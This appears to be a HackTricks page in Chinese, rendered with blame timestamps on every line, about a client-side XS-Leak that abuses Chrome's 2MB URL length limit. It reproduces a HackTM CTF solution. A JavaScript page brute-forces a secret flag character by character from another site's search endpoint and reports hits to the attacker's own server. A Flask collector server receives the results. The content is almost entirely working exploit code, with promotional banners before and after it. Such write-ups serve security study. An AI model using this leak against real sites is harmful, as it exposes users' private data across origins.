2023-08-03 19:12:22 +00:00
|
|
|
|
# URL最大长度 - 客户端
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-03 16:56:23 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2024-02-03 16:56:23 +00:00
|
|
|
|
* 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2024-02-03 16:56:23 +00:00
|
|
|
|
代码来自[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
2023-03-05 22:20:47 +00:00
|
|
|
|
```html
|
|
|
|
|
<html>
|
|
|
|
|
<body></body>
|
|
|
|
|
<script>
|
2023-08-03 19:12:22 +00:00
|
|
|
|
(async () => {
|
|
|
|
|
|
|
|
|
|
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
|
|
|
|
|
|
|
|
|
const leak = async (char) => {
|
|
|
|
|
|
|
|
|
|
fetch("/?try=" + char)
|
|
|
|
|
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
|
|
|
|
|
|
|
|
|
const check = async () => {
|
|
|
|
|
try {
|
|
|
|
|
w.origin
|
|
|
|
|
} catch {
|
|
|
|
|
fetch("/?nope=" + char)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
setTimeout(check, 100)
|
|
|
|
|
}
|
|
|
|
|
check()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
|
|
|
|
|
|
|
|
|
for (let i = 0; i < CHARSET.length; i++) {
|
|
|
|
|
leak(CHARSET[i])
|
|
|
|
|
await new Promise(resolve => setTimeout(resolve, 50))
|
|
|
|
|
}
|
|
|
|
|
})()
|
2023-03-05 22:20:47 +00:00
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
服务器端:
|
2023-03-05 22:20:47 +00:00
|
|
|
|
```python
|
|
|
|
|
from flask import Flask, request
|
|
|
|
|
|
|
|
|
|
app = Flask(__name__)
|
|
|
|
|
|
|
|
|
|
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
|
|
|
|
chars = []
|
|
|
|
|
|
|
|
|
|
@app.route('/', methods=['GET'])
|
|
|
|
|
def index():
|
2023-08-03 19:12:22 +00:00
|
|
|
|
global chars
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
nope = request.args.get('nope', '')
|
|
|
|
|
if nope:
|
|
|
|
|
chars.append(nope)
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
remaining = [c for c in CHARSET if c not in chars]
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
print("Remaining: {}".format(remaining))
|
|
|
|
|
|
|
|
|
|
return "OK"
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
@app.route('/exploit.html', methods=['GET'])
|
|
|
|
|
def exploit():
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return open('exploit.html', 'r').read()
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2023-08-03 19:12:22 +00:00
|
|
|
|
app.run(host='0.0.0.0', port=1337)
|
2023-03-05 22:20:47 +00:00
|
|
|
|
```
|
2024-02-03 16:56:23 +00:00
|
|
|
|
```markdown
|
2023-03-05 22:20:47 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-03 16:56:23 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
2024-02-03 16:56:23 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2023-03-05 22:20:47 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-02-03 16:56:23 +00:00
|
|
|
|
```
|